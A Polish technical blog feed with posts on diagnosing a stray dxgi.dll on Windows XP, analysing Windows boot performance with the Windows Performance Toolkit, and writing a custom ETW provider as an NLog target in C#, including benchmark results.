    FileVersion:      6.1.7600.16385 (win7_rtm.090713-1255)
    FileDescription:  DirectX Graphics Infrastructure
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

I wszystko jasne. Nie wiadomo skąd w Windows XP mamy w katalogu systemowym fragment DirectX 10 z kompilacji pod Windows 7. A aplikacja prawdopodobnie przy inicjalizacji robiła test w postaci próby załadowania komponentu

if(LoadLibrary(“dxgi.dll”){
// jest dx10
}
else//nie ma :(

który skończył się tak, jak się skończył. Jeszcze rzut oka na stos w poszukiwaniu symboli:

0:000> dps @esp @esp+100
0012dfa4  7c90d9ca ntdll!ZwRaiseHardError+0xc
0012dfa8  7c941d26 ntdll!LdrpSnapThunk+0x36b
0012dfac  c0000139
0012dfb0  00000002
0012dfb4  00000003
0012dfb8  0012dfd0
0012dfbc  00000001
0012dfc0  0012e018
0012dfc4  15341284 dxgi!_IMPORT_DESCRIPTOR_VERSION+0x4
0012dfc8  00264bf8
0012dfcc  15341268 dxgi!_IMPORT_DESCRIPTOR_ADVAPI32+0x10
0012dfd0  0012dfec
0012dfd4  0012dfe4
0012dfd8  152d0000 dxgi!_imp__InitializeSecurityDescriptor <PERF> (dxgi+0x0)
0012dfdc  00180017
0012dfe0  153415bc dxgi!_NULL_IMPORT_DESCRIPTOR+0x504
0012dfe4  00160014
0012dfe8  0019dc20
0012dfec  0030002e
0012dff0  001891b0
0012dff4  00000159
0012dff8  0012e07c
0012dffc  7c91c0bc ntdll!LdrpSnapIAT+0x20e
0012e000  77c00000 msvcrt!_imp__MultiByteToWideChar <PERF> (msvcrt+0x0)
0012e004  153415bc dxgi!_NULL_IMPORT_DESCRIPTOR+0x504
0012e008  00341284
0012e00c  152d1010 dxgi!_imp___except_handler4_common
0012e010  153415bc dxgi!_NULL_IMPORT_DESCRIPTOR+0x504
0012e014  00004326
0012e018  00000001
0012e01c  15341268 dxgi!_IMPORT_DESCRIPTOR_ADVAPI32+0x10
0012e020  15341268 dxgi!_IMPORT_DESCRIPTOR_ADVAPI32+0x10
0012e024  00264bf8
0012e028  15341158 dxgi!_CT??_R0J+0xfac
0012e02c  00000000
0012e030  1534d000 dxgi!__dyn_tls_init_callback <PERF> (dxgi+0x7d000)
0012e034  00000001
0012e038  77c48a10 msvcrt!_NULL_IMPORT_DESCRIPTOR+0xde0
0012e03c  15341284 dxgi!_IMPORT_DESCRIPTOR_VERSION+0x4
0012e040  15341268 dxgi!_IMPORT_DESCRIPTOR_ADVAPI32+0x10
0012e044  152d02d8 dxgi!_imp__InitializeSecurityDescriptor <PERF> (dxgi+0x2d8)
0012e048  00001000
0012e04c  00000020
0012e050  152d1010 dxgi!_imp___except_handler4_common
0012e054  00004326
0012e058  0000031c
0012e05c  00000000
0012e060  152d1000 dxgi!_imp___onexit
0012e064  0012e020
0012e068  00000001
0012e06c  0012e148
0012e070  7c90e920 ntdll!_except_handler3
0012e074  7c91c108 ntdll!`string'+0x7c
0012e078  00000001
0012e07c  0012e0bc
0012e080  7c9247a4 ntdll!LdrpHandleOneNewFormatImportDescriptor+0x25e
0012e084  00262590
0012e088  00264bf8
0012e08c  15341158 dxgi!_CT??_R0J+0xfac
0012e090  00000000
0012e094  00000001
0012e098  152d0288 dxgi!_imp__InitializeSecurityDescriptor <PERF> (dxgi+0x288)
0012e09c  7ffd4000
0012e0a0  000000b4
0012e0a4  152d02d8 dxgi!_imp__InitializeSecurityDescriptor <PERF> (dxgi+0x2d8)

i podobnie jak w poprzednim przypadku znajdujemy ciekawy:

0012e050 152d1010 dxgi!_imp___except_handler4_common

Także tym razem usunięcie zbędnej biblioteki rozwiązuje problem.

Analiza startu systemu, czyli Windows Performance Toolkit w akcji

$
0
0

Krótki wstęp

“Trwa uruchamianie systemu Windows”...”Czekaj”...”Zapraszamy”...mijają sekundy, minuty, aż po którymś razie, gdy chcesz tylko ‘szybko wysłać przelew’ zaczynasz się zastanawiać ‘co u licha ten system robi w tym czasie?’ i ‘dlaczego to tak długo trwa?’.
W następnych akapitach spróbuję przynajmniej częściowo odpowiedzieć na te pytania i podać kilka wskazówek pozwalających samodzielnie dojść do źródła problemu.

Fazy startu

W dokumencie “Windows On/Off Transition Performance Analysis”, który będziemy dalej traktować jako podstawową referencję Microsoft dzieli start systemu na kilka faz:

1. BIOSInitialization
Pierwsza faza startu - od włączenia komputera, poprzez inicjalizację urządzeń w ramach firmware, przez fazę POST, aż po załadowanie MBR, start Bootmgr.exe, załadowanie Winload.exe z partycji startowej.

2. OSLoader
Windows loader (Winload.exe) ładuje podstawowe sterowniki, które wymagane są do wczytania najważniejszych danych z dysku, w tym jądra, najważniejszych gałęzi rejestru (SYSTEM) oraz kluczowych sterowników, oznaczonych jako BOOT_START.

3. MainPathBoot
W czasie tej fazy, podzielonej dodatkowo na mniejsze następuje załadowanie wszystkich najważniejszych elementów systemu i kończy się ona wraz z pojawieniem się pulpitu.
3.1 PreSMSS (Pre Session Init)
Wraz z rozpoczęciem tej fazy pojawia się ekran “Trwa uruchamianie systemu Windows”. W tej fazie system inicjalizuje jądro wraz z podstawowymi strukturami danych, uruchamia menadżera PnP, który inicjalizuje sterowniki oznaczone jako BOOT_START, załadowane w poprzedniej fazie:
- Wykrywa urządzenie;
- Ładuje do pamięci sterownik i dokonuje walidacji sygnatury sterownika;
- Wykonuje funkcję DriverEntry (‘Main’ sterownika);
- Wysyła pakiety IRP_MN_START_DEVICE (uruchom urządzenie) oraz IRP_MN_QUERY_DEVICE_RELATIONS (wylicz urządzenia potomne).
Wszystkie te kroki powtarzane są dla każdego urządzenia potomnego, aż do przejścia przez całe drzewo urządzeń.
3.2 SMSSInit (Session Init)
W tej fazie następuje przekazanie sterowania do menadżera sesji (Smss.exe). Następuje inicjalizacja rejestru, załadowanie sterowników nie oznaczonych jako BOOT_START i uruchomienie procesów podsystemów. Koniec fazy następuje wraz z przekazaniem sterowania do Winlogon.exe
3.3 WinlogonInit (Winlogon Init)
Faza rozpoczyna się tuż przed pojawieniem się okna logowania i obejmuje start usług przez Service Control Manager (SCM), załadowanie skryptów Group Policy komputera oraz okna logowania. Faza kończy się wraz ze startem Explorer.exe.
3.4 ExplorerInit (Explorer Init)
Podczas tej fazy następuje załadowanie explorer.exe, procesu menadżera pulpitu (DWM), który tworzy i wyświetla okno pulpitu.

4. PostBoot (Post Boot)
Ta faza obejmuje wszelką aktywność komputera, która odbywa się w tle i ma miejsce po pojawieniu się pulpitu. A zatem w tej fazie pojawiają się w zasobniku wszelkie ikonki uruchamianych w autostarcie aplikacji, następuje dalszy ciąg startu usług systemowych, etc. Przyjęło się, że koniec tej fazy następuje w momencie, gdy komputer jest względnie bezczynny. Aby precyzyjnie określić ten moment, próbkuje się system co 100ms i jeśli system jest bezczynny w >= 80% (pomija się aktywność o niskim priorytecie procesora oraz dysku, a więc przede wszystkim jest to aktywność związana z funkcją nt!KiIdleLoop) i taki stan utrzymuje się przez 10 kolejnych sekund (a więc przez 100 następujących po sobie próbek), to określa to koniec tej fazy. Tu uwaga: w logach faza PostBoot kończy się w tym momencie, co oznacza, że faktycznie koniec nastąpił 10 sekund wcześniej i po prostu należy te 10 sekund odjąć.

Gdy już mamy przyjęte podstawowe definicje i posługujemy się wspólnym językiem, możemy przejść do warsztatu i zapoznać się z narzędziami.

Narzędzia

Microsoft dostarcza zestaw darmowych narzędzi analitycznych w postaci pakietu Windows Performance Toolkit (WPT), który jest częścią większego Windows Assessment and Deployment Kit (ADK) i będziemy się na nich opierać przy dalszych zabawach. Jako podstawę do przygotowania pierwszego logu przyjmijmy następujące polecenie:

>xbootmgr -trace boot -traceflags latency+dispatcher -stackwalk profile+cswitch+readythread -notraceflagsinfilename -postbootdelay 180 -resultpath c:\xperf

a do następnych:

>xbootmgr -trace boot -traceflags latency+dispatcher -stackwalk profile+cswitch+readythread -notraceflagsinfilename -postbootdelay 180 -resultpath c:\xperf -prepsystem

W tym drugim przypadku następuje 6 restartów, po których odbywa się właściwe przygotowanie logu.

Uwaga! Pliki .etl są względnie duże (przeciętnie setki megabajtów), więc w przypadku małej ilości wolnego miejsca na dysku mogą pojawić się problemy.

Gdy mamy już wygenerowane logi, do ich analizy będziemy wykorzystywać Xperf Viewer (xperfview.exe) oraz Windows Performance Analyzer (wpa.exe), oczywiście oba pochodzą ze wspomnianego pakietu WPT.

Przykład 1. Windows XP

Jakkolwiek Windows XP nie jest oficjalnie wspierany przez narzędzia ADK, to do wykonania testu możemy pobrać wcześniejszą wersję WPT, wypakować zawartość i przygotować log. Samą analizę tak przygotowanego logu będziemy musieli zrobić na Viście, lub jakimś nowszym systemie, ale jest to wykonalne.
Korzystając z polecenia

>xperf -i boot_1.etl -o summary.xml -boot

możemy przygotować plik zawierający podsumowanie startu, przy czym nas będzie interesować w szczególności sekcja <timing>

Rys 1. Summary.xml - podsumowanie startu Windows XP

Z łatwością odnajdziemy w niej odpowiedniki wyżej opisanych faz, a także atrybut bootDoneViaPostBoot, w którym zapisana jest długość startu (+10 sek). Po rozpisaniu odpowiednich faz otrzymamy:

Nazwa           | start(ms)|koniec(ms)|  suma(ms)
-------------------------------------------------
Pre Session Init|         0|      4005|      4005
Session Init    |      4005|      4179|       174
Winlogon Init   |      4179|      8063|      3883
Explorer Init   |      8063|      8243|       179
Post Boot       |      8243|     20443|     12200
-------------------------------------------------
System gotowy po:                      10,443 sek

Możemy przygotować sobie inne zestawienia, korzystając z innych poleceń, których listę znajdziemy:

>xperf -help processing

przy czym

>xperf -i boot_1.etl -o all.txt -a dumper

zrzuci nam wszystkie zdarzenia do pliku tekstowego.
Niestety, w przypadku Windows XP sporej części informacji nie znajdziemy w pliku .etl i dlatego w następnych przykładach przechodzimy do nowszych systemów.

Przykład 2 Jedna usługa opóźnia start innych usług

Dalsze analizy będziemy przeprowadzali w środowisku graficznym. Mamy do dyspozycji dwa narzędzia: xperfview (Xperf Viewer) oraz nowszy wpa (Windows Performance Analyzer). Będę je stosował przemiennie.

Na samym początku wszelkich analiz spoglądamy na podsumowanie startu. Tabelka z przykładu pierwszego przedstawia się (inny przypadek, inne czasy) graficznie tak, jak to widać na kolejnym zrzucie.

Rys 2. Fazy startu - graficznie

W tym przypadku faza PostBoot trwa o wiele dłużej, niż pozostałe i jakkolwiek pulpit pojawił się w ciągu pierwszej minuty, to jednak pracę można było sensownie rozpocząć dopiero mniej-więcej w połowie piątej minuty od startu systemu.
Kolejny wykres, na który warto spojrzeć przedstawia start usług. Nierzadko zdarza się tak, że któraś z usług startuje dłużej, niż powinna i wówczas usługi należące do kolejnych grup muszą czekać na swoją kolejkę.

Rys 3. Długi start usługi TuneUpSvc

W przykładzie z rysunku usługa TuneUp UtilitiesSvc startuje ok 20 sekund, wstrzymując start innych usług należących do następnych grup. Zauważmy, że wszystkie te usługi należą do grupy <AutoStart>, o tyle istotnej, że zakończenie tej fazy wyznacza 120-sekundowe oczekiwanie na start usług należących do grupy “Automatycznie (opóźnione uruchomienie)”. Usługi te możemy znaleźć dalej na wykresie.

Rys 4. Usługi o opóźnionym starcie

Przy okazji krótka ściąga: zielony - ‘Start Pending’ - usługa jest tworzona i przypisywana do kontenera, seledynowy - ‘Start Pending’ - już w danym kontenerze, pomarańczowy - ‘SvcMain Enter’, czerwony - ‘Running’ - oznacza koniec startu, ‘SvcExit’ nie jest oznaczane na wykresie.
Wykresy wykresami, ale mamy również dostępne tabelki ze szczegółowymi danymi dotyczącymi kolejnych zdarzeń usług.
W przypadku xperfview mamy je dostępne pod prawą myszą (“Summary table” i “Events table”), w WPA mamy możliwość dynamicznego oglądania tabelki razem z wykresem (na pewno warto zwrócić tu uwagę na przyjaźniejsze zarządzanie kolumnami).

Rys 5. WPA - wykres & tabelka w jednym miejscu

Aby włączyć równoczesny podgląd wykresu i tabelki klikamy w odpowiednią ikonkę (wskazana strzałką na powyższym rysunku).

Przykład 3. Dysk

Bardzo często wąskim gardłem okazuje się dysk. Aby szybko zorientować się, że badany przez nas przypadek należy do tej kategorii, wystarczy rzucić okiem na wykres ‘Disk Utilization’

Rys 6. Disk utilization

W skrajnych przypadkach będzie to wyglądało tak, jak na rysunku powyżej. Przez 4 minuty dysk obciążony jest praktycznie w 100%. Gdy zajrzymy do ‘Detail Graph’, to zobaczymy w szczegółach co też ciekawego działo się na dyskach fizycznych.

Rys 7. Disk utilization - Detail Graph

Jak widać na rysunku mamy pełną informację o modelu dysku, podziale na partycje, a dla każdego zdarzenia szczegółowe informacje o pliku, typie dostępu, odpowiednich czasach, etc. Wygląda na to, że partycja C była cała przeczesana.
No tak, ale co konkretnie było czytane i przez jaki proces? Odpowiedź na to pytanie znajdziemy na wykresie ‘Disk Utilization by Process’, sięgając do podręcznego ‘Summary Table’.

Rys 8. Disk utilization - Summary Table

Jak widać, w naszym przypadku najdłuższy service time zaserwował nam process svchost o PIDzie=1108, przy czym po rozwinięciu ‘+’ po najdłuższej ścieżce dojdziemy szybko do

Rys 9. Disk utilization - szczegóły

gdzie okazuje się, że mamy całą masę odczytów z c:\Windows\system32\DriverStore\FileRepository.
Mamy do czynienia z kontenerem usług, więc chcielibyśmy wiedzieć coś więcej odnośnie procesu o PID=1108. Nic prostszego - zaglądamy do ‘System Configuration’, gdzie szybko znajdujemy listę usług w ramach svchost(1108).

Rys 10. System configuration - usługi

Odpowiedź na pytanie ‘która konkretnie usługa odpowiada za takie obciążenie?’ zostawimy na później, teraz przechodzimy do przypadku kolejnego.

Przykład 4. Prefetcher

Nierzadko w parze z dużym obciążeniem dysku idzie martwy prefetcher. Aby mieć pewność, że to nasz przypadek, zaglądamy do wykresu ‘ReadyBoot I/O’ i patrzymy czy jest bardziej zielono, czy czarno. Czerń oznacza ‘misses’, czyli nietrafienia w kesz, natomiast zieleń oznacza, iż system otrzymał dane z kesza.
Weźmy przykład komputera z praktycznie nieaktywną usługą Sysmain

Rys 11. Wykres ReadyBoot I/O w zestawieniu z Disk Utilization

i teraz przełączmy zbędną usługę na start ręczny i wytrenujmy prefetcher

Rys 12. Prefetcher po wytrenowaniu

Różnica widoczna gołym okiem, a całkowity czas startu spadł z ponad 224 do 59 sekund.

Przykład 5. Sterowniki

Aby zorientować się, co dzieje się ze sterownikami, musimy zajrzeć do wykresu DPC CPU Usage. Czasem bowiem trafimy na przypadek taki, jak na rysunku

Rys 13. DPC CPU Usage - sterowniki

Gdy teraz powiększymy interesujący nas obszar i przejdziemy do ‘Summary Table’, to bez problemu dowiemy się, w kodzie którego sterownika spędziliśmy najwięcej czasu.

Rys 14. DPC CPU Usage Summary - duża aktywność usbport.sys

Wydaje się, że tragedii nie ma - przecież mówimy o max 15% obciążeniu CPU. Tak, jednak w systemie mamy 6-rdzeniowy procesor (do sprawdzenia w zakładce PnP ‘System Configuration’), więc w sumie mamy sytuację, gdzie jeden rdzeń jest w 100% obciążony obsługą usbport.sys. W powyższym przypadku okaże się, że po USB podłączony był 1TB dysk zewnętrzny i system zmarnotrawił morze czasu na jego inicjalizację.

Przykład 6. Symbole

Jak dla mnie najciekawszy element związany z analizą startu. O symbolach pisałem na blogu wielokrotnie, w przypadku xperf mamy jednak kilka nowości.

- poza _NT_SYMBOL_PATH ustawionym na serwer symboli Microsoft dobrze jest mieć zdefiniowaną zmienną określającą ‘prywatny kesz’ xperf, co znacząco przyspieszy ładowanie symboli. Ustawia się go poprzez zmienną środowiskową _NT_SYMCACHE_PATH, np:
_NT_SYMBOL_PATH=srv*C:\websymbols*http://msdl.microsoft.com/downloads/symbols
_NT_SYMCACHE_PATH=c:\symcache

- symbole można przygotować ‘ręcznie’ poleceniem:

>xperf -i boot_1.etl -symbols -a symcache -build

- WPA ma znacznie lepszą informacyjność odnośnie pobierania symboli, xperfview najwyraźniej wykorzystuje główny wątek do obsługi symboli i po prostu ‘zawisa’ podczas ich przetwarzania.
- aby uniknąć stronicowania kodu sterowników, które w przypadku systemów 64-bit mogą być niezbędne do odtworzenia stosu wywołań, należy ustawić w rejestrze dla obsługi pamięci Session Managera wartość DisablePagingExecutive na 1, co najszybciej możemy osiągnąć poleceniem:

>reg add "HKLM\System\CurrentControlSet\Control\Session Manager\Memory Management" -v DisablePagingExecutive -d 0x1 -t REG_DWORD -f

Po zakończeniu analiz możemy wyłączyć tę opcję, ustawiając domyślną (dla Windows 7) wartość 0. Oczywiście jeśli interesuje nas stos wywołań dla kodu pracującego w trybie użytkownika, to nie musimy ustawiać tej wartości - ma ona znaczenie wtedy, gdy chcemy zajrzeć głębiej w trybie jądra.

- call stack nie jest dostępny w przypadku Windows XP. Po prostu całkowity brak takiej funkcjonalności :(

Po załadowaniu pliku .etl dobrze jest od razu skorzystać z podręcznego ‘Load Symbols’. Trochę to potrwa, jednak później nie powinniśmy tego żałować.

Wróćmy zatem do przykładu 3 i problemów z dyskiem, a dokładniej jednej z usług, która wczytywała mnóstwo informacji o sterownikach. Zaglądamy do wykresu ‘CPU Sampling by Thread’, ładujemy symbole (potwierdzamy przy tym standardowy komunikat licencyjny)

Rys 15. Licencja Microsoft - Symbol Server

i przechodzimy do ‘Summary Table’

Rys 16. Stos wywołań usługi iphlpsvc

Bez problemu znajdujemy interesujący nas proces (svchost.exe (1108)) oraz jego najaktywniejszy wątek (TID=3200). Rozwijamy stos idąc ścieżką o największej wadze i po kilku chwilach dochodzimy do interesującej nas usługi (Pomocnik IP). Interfejs isatap i w ogóle obsługa IPv6 w przypadku laptopa pracującego w domu nie jest konieczna, wystarczy więc proste

>netsh int isa set state disabled

i po kłopocie, a dokładniej - obcinamy prawie o połowę czas startu systemu.

Mam nadzieję, że te kilka przykładów daje obraz siły, jaką daje zestaw WPT. Nie sposób w jednej notce jest opisać wszystkie przypadki z jakimi można mieć do czynienia, ale obiecuję, że będę jeszcze wracał do tego tematu w przyszłych wpisach.

ETW - providery + target dla NLoga

$
0
0

Jednym z podstawowych elementów architektury ETW są dostawcy zdarzeń, czyli ETW providers. Dostawca ma nazwę, guid i parę innych rzeczy, a jego podstawowym zadaniem jest dostarczanie zdarzeń w ramach sesji ETW (zwanej także loggerem). Sesja zostaje utworzona przez kontroler (ETW controller), czyli narzędzie takie jak np. xperf, logman, wpr, czy perfview, którym dzisiaj trochę się pobawimy. Po zakończeniu sesji możemy przejrzeć zawartość logu, korzystając z narzędzia do parsowania i analizy logów (ETW consumer) - czyli np. omawianymi w poprzednim wpisie xperf, xperfview, wpa, ale także perfview, czy event viewer, żeby wymienić tylko kilka.

Listę aktywnych sesji w systemie, wraz z wieloma informacjami (nazwa, rozmiar bufora, flagi, etc.) możemy uzyskać za pomocą:

>xperf -loggers
Logger Name           : Circular Kernel Context Logger
Logger Id             : 2
Logger Thread Id      : 0000000000000000
Buffer Size           : 4
Maximum Buffers       : 2
Minimum Buffers       : 2
Number of Buffers     : 2
Free Buffers          : 1
Buffers Written       : 0
Events Lost           : 0
Log Buffers Lost      : 0
Real Time Buffers Lost: 0
Flush Timer           : 0
Age Limit             : 0
Log File Mode         : Secure Buffered <0x10000000>
Maximum File Size     : 0
Log Filename          :
Trace Flags           : LOADER+HARD_FAULTS
PoolTagFilter         : *

Logger Name           : Audio
Logger Id             : 4
Logger Thread Id      : 0000000000000000
Buffer Size           : 4
Maximum Buffers       : 2
Minimum Buffers       : 2
Number of Buffers     : 2
Free Buffers          : 1
Buffers Written       : 0
Events Lost           : 0
Log Buffers Lost      : 0
Real Time Buffers Lost: 0
Flush Timer           : 0
Age Limit             : 0
Log File Mode         : Buffered LocalSeqNo <0x10000000>
Maximum File Size     : 2
Log Filename          :
Trace Flags           : e27950eb-1768-451f-96ac-cc4e14f6d3d0:0x7fffffff:0x4
[CIACH]

W systemie może być aktywna tylko jedna sesja jądra, która ma specjalną nazwę: “NT Kernel Logger”. Ze względu na to ograniczenie nie można np. mieć równocześnie uruchomionego procmona (process hackera) i np. utworzyć sesji jądra w perfview, ponieważ taką zainicjował już wcześniej procmon (PH). Można jednak do takiej sesji podłączyć się innym konsumentem i ewentualnie ją zmodyfikować (dodając np. dodatkowe flagi).
Listę wszystkich dostawców możemy otrzymać przy pomocy:

>xperf -providers
Known User Mode Providers:
 0063715b-eeda-4007-9429-ad526f62696e   : Microsoft-Windows-Services
 01090065-b467-4503-9b28-533766761087   : Microsoft-Windows-ParentalControls
 014de49f-ce63-4779-ba2b-d616f6963a87   : Microsoft-Windows-NetworkConnectivityStatus
 01578f96-c270-4602-ade0-578d9c29fc0c   : Microsoft-Windows-VAN
 017247f2-7e96-11dc-8314-0800200c9a66   : Microsoft-Windows-ErrorReportingConsole
 017ba13c-9a55-4f1f-8200-323055aac810   : Microsoft-Windows-Registry-SQM-Provider
 01979c6a-42fa-414c-b8aa-eee2c8202018   : Microsoft-Windows-WindowsBackup
 02012a8a-adf5-4fab-92cb-ccb7bb3e689a   : Microsoft-Windows-ShareMedia-ControlPanel
 02fe721a-0725-469e-a26d-37b3c09faac1   : Portable Device Connectivity API Trace
[CIACH]

przy czym możemy także zawęzić listę do np. zainstalowanych (znanych), lub zarejestrowanych w danym momencie w systemie (pełna lista opcji w xperf -help providers). Gdy chcemy zobaczyć, jacy dostawcy zarejestrowani są przez dany proces, to korzystamy z:

>logman query providers -pid [PID]

np.:

>tlist | findstr -i notepad.exe
7844 notepad.exe       Default IME

>logman query providers -pid 7844

Dostawca                   Identyfikator GUID
-------------------------------------------------------------------------------
Microsoft-Windows-Documents              {C89B991E-3B48-49B2-80D3-AC000DFC9749}
Microsoft-Windows-Dwm-Api                {92AE46D7-6D9C-4727-9ED5-E49AF9C24CBF}
Microsoft-Windows-KnownFolders           {8939299F-2315-4C5C-9B91-ABB86AA0627D}
Microsoft-Windows-PrintService           {747EF6FD-E535-4D16-B510-42C90F6873A1}
Microsoft-Windows-Shell-Core             {30336ED4-E327-447C-9DE0-51B652C86108}
Microsoft-Windows-TSF-msctf              {4FBA1227-F606-4E5F-B9E8-FAB9AB5740F3}
Microsoft-Windows-UxTheme                {422088E6-CD0C-4F99-BD0B-6985FA290BDF}
{2955E23C-4E0B-45CA-A181-6EE442CA1FC0}   {2955E23C-4E0B-45CA-A181-6EE442CA1FC0}
{6097799C-99DF-4C32-BF88-A32958C6421A}   {6097799C-99DF-4C32-BF88-A32958C6421A}
{69D3F5B6-6605-4EF9-B6A0-BC0233BD2CA6}   {69D3F5B6-6605-4EF9-B6A0-BC0233BD2CA6}
{A323CDC2-81B0-48B2-80C8-B749A221478A}   {A323CDC2-81B0-48B2-80C8-B749A221478A}
{BCEBF131-E4E6-4BA4-82FA-9C406002F769}   {BCEBF131-E4E6-4BA4-82FA-9C406002F769}
{BDA92AE8-9F11-4D49-BA1D-A4C2ABCA692E}   {BDA92AE8-9F11-4D49-BA1D-A4C2ABCA692E}
{C9BF4A02-D547-4D11-8242-E03A18B5BE01}   {C9BF4A02-D547-4D11-8242-E03A18B5BE01}

Polecenie zostało wykonane pomyślnie.

Z każdym z powyższych providerów skojarzony jest jeden, lub więcej uchwytów (rączek ;)), które z łatwością dostrzeżemy w Process Hackerze w zakładce Handles jako “EtwRegistration”.

Rys 1. EtwRegistration widoczne na liście uchwytów otwartych przez aplikację

Kiedyś jeszcze wrócimy do tych narzędzi, a teraz przejdźmy do czegoś ciekawszego.

Własny provider - przykład z NLogiem

Wraz z pojawieniem się .NET Framework 4.5 i przestrzeni System.Diagnostics.Tracing tworzenie własnego providera stało się bardzo proste. Z pomocą klasy EventSource możemy w kilku linijkach dodać możliwość logowania w ramach ETW.

W lipcu b.r. Vance Morrison (architekt w zespole zajmującym się wydajnością środowiska uruchomieniowego - .NET Runtime Team) zapowiedział na swoim blogu nowości oraz udostępnił bibliotekę, która zawiera wspomnianą przestrzeń i jest dostępna dla wcześniejszych wersji .NET Framework (3.5+).

Korzystając z niej przygotowałem prosty target dla NLoga, który pozwala na logowanie komunikatów wprost do ETW.

using System;
using System.Diagnostics;
using System.Diagnostics.Tracing;

using NLog;
using NLog.Targets;

namespace Zine.ETWNlogTarget
{
  [Target("ETW")]
  publicsealedclass ETWTarget : TargetWithLayout
  {
    sealedclass NLogETWTargetSource : EventSource
    {
      publicstatic NLogETWTargetSource Log =new NLogETWTargetSource();
      publicvoid Message(string Message) {
        WriteEvent(1, Message);
      }
    }

    protectedoverridevoid Write(LogEventInfo logEvent)
    {
      string logMessage =this.Layout.Render(logEvent);
      Write(logMessage);
    }

    privatevoid Write(string logMsg)
    {
      if (string.IsNullOrEmpty(logMsg)) return;
      NLogETWTargetSource.Log.Message(logMsg);
    }
  }
}

Weźmy teraz przykład prostej aplikacji:

using System;

using NLog;

namespace ZineNlogTester
{
 class Program
 {
  privatestatic Logger logger = LogManager.GetCurrentClassLogger();

  staticvoid Main(string[] args)
  {
   using (new OperationTimer("Debug"))
   {
    for (int i = 0; i < 10000; i++)
    {
     logger.Debug(i.ToString());
    }
   }
  }
 }
}

(gdzie OperationTimer wykorzystuje Stopwatch do pomiaru czasu pomiędzy początkiem i końcem pętli) i skorzystajmy z przygotowanego wcześniej targeta, który dołączymy do aplikacji następującym plikiem nlog.config:

<?

xmlversion="1.0"encoding="utf-8" ?>
<
nlogxmlns="http://www.nlog-project.org/schemas/NLog.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

 <extensions>
  <
addassembly="Zine.ETWNlogTarget"/>
 </
extensions>

 <
targets>
  <
targetname="etw"type="ETW"layout="NLOG: ${message}" />
 </targets>

 <
rules>
  <
loggername="*"minLevel="Debug"writeTo="etw"/>
 </
rules>

</
nlog> 

Do zebrania tak wygenerowanych komunikatów użyjemy Perfview, przy czym w ustawieniach zbieracza dodamy nasz provider dopisując *{nazwa_klasy} 

Rys 2. Ustawienia sesji logowania w PerfView

Testy

Zróbmy teraz kilka testów:

1. Uruchamiamy aplikację testową bez włączonego Collecta (zdarzenia ETW trafiają w próżnię). Czas: 0,0179 sek., co sprowadza się do możliwości wygenerowania ok. pół miliona zdarzeń w ciągu sekundy.

2. Włączamy ‘Start collection’ i uruchamiamy aplikację. Czas: 0,0373 sek, czyli możemy zebrać ok. ćwierć miliona zdarzeń na sekundę.

3. Zmieniamy target na File:

<

targetname="file"xsi:type="File" layout="NLOG: ${message}" fileName="${basedir}/logs/logfile.txt" keepFileOpen="true" encoding="iso-8859-2" />

i dostajemy logfile.txt, a czas: 0,1450 sek, czyli ok. 70 tys. zdarzeń na sekundę.

4. I na sam koniec bierzemy target Null:

<

targetname="null"type="Null"layout="NLOG: ${message}" />

i czasy: 0,0051 sek., czyli NLog na moim komputerze może wygenerować ok. 2 mln zdarzeń trafiających w próżnię, przy podanej aplikacji i ustawieniach NLoga.

Po zatrzymaniu zbieracza wygenerowany zostanie zestaw plików .etl, przy czym interesujące nas dane znajdują się w pliku PerfViewData.etl. Po otwarciu go zaglądamy do Events, gdzie w filtrze wpisujemy NLog i zaglądamy do zdarzeń zebranych jako NLogETWTargetSource/Message

Rys 3. Zdarzenia związane z targetem dołączonym do NLoga

Kod jest nasz, więc w CPU Stacks dla naszego procesu możemy ustawić ścieżkę do symboli, po czym grzecznie je wczytać i następnie zajrzeć do zakładki CallTree. Po trafieniu na naszą funkcję możemy zajrzeć do źródła, w których PerfView dodatkowo dopisuje własne metryki.

Rys 4. Stacks + źródło w PerfView

Przyznaję szczerze, że walka z ‘broken stacks’ dla kodu zarządzanego w Windows 7 x64 jest ciężka i wyczerpująca (podobno pod Win8 wszystko działa bez problemu) i nie udało mi się nad tym zapanować (choć na rysunku powyżej stos wywołań niby jest).

Rys 5. Komunikat o problemach z analizą stosu wywołań

Na koniec lista sesji ustawionych przez PerfView w trakcie zbierania danych:

Logger Name           : NT Kernel Logger
Logger Id             : ffff
Logger Thread Id      : 000000000000161C
Buffer Size           : 1024
Maximum Buffers       : 256
Minimum Buffers       : 64
Number of Buffers     : 64
Free Buffers          : 56
Buffers Written       : 11
Events Lost           : 0
Log Buffers Lost      : 0
Real Time Buffers Lost: 0
Flush Timer           : 10
Age Limit             : 0
Log File Mode         : Circular Secure
Maximum File Size     : 500
Log Filename          : C:\Roboczy\Dumps\ETL\NLog\PerfViewData.kernel.etl
Trace Flags           : PROC_THREAD+LOADER+PERF_COUNTER+DISK_IO+DISK_IO_INIT+HARD_FAULTS+FILENAME+NETWORKTRACE+PROFILE
PoolTagFilter         : *


Logger Name           : PerfViewSession
Logger Id             : f
Logger Thread Id      : 0000000000002394
Buffer Size           : 1024
Maximum Buffers       : 256
Minimum Buffers       : 64
Number of Buffers     : 64
Free Buffers          : 60
Buffers Written       : 1
Events Lost           : 0
Log Buffers Lost      : 0
Real Time Buffers Lost: 0
Flush Timer           : 10
Age Limit             : 0
Log File Mode         : Circular
Maximum File Size     : 400
Log Filename          : C:\Roboczy\Dumps\ETL\NLog\PerfViewData.etl
Trace Flags           : d9b1ff2e-1e4a-5db6-f885-423ece896a35:0xffffffffffffffff:0x5+57277741-3638-4a4b-bdba-0ac6e45da56c:0xffffffffffffffff:0x5+"Microsoft-Windows-Application Server-Applications":0xffffffffffffffff:0x4+"ASP.NET Events":0xfffffffffffffffd:0x5+a8a71ac1-040f-54a2-07ca-00a89b5ab761:0xffffffffffffffff:0x5+2e5dba47-a3d2-4d16-8ee0-6671ffdcd7b5:0xffffffffffffffff:0x5+763fd754-7086-4dfe-95eb-c01a46faf4ca:0x40020001:0x5+".NET Common Language Runtime":0x4007cc9d:0x5+"Microsoft-PerfTrack-MSHTML":0xffffffffffffffff:0x5+"Microsoft-PerfTrack-IEFRAME":0xffffffffffffffff:0x5+"Microsoft-Windows-WinINet":0x2:0x5

Interesujący nas provider kryje się oczywiście w sesji użytkownika i włączony jest przez PerfView następująco:
d9b1ff2e-1e4a-5db6-f885-423ece896a35:0xffffffffffffffff:0x5

(składnia: ProviderName:Keyword:Level:’stack[,]sid[,]tsid’ (za ‘Inside Windows Debugging’))

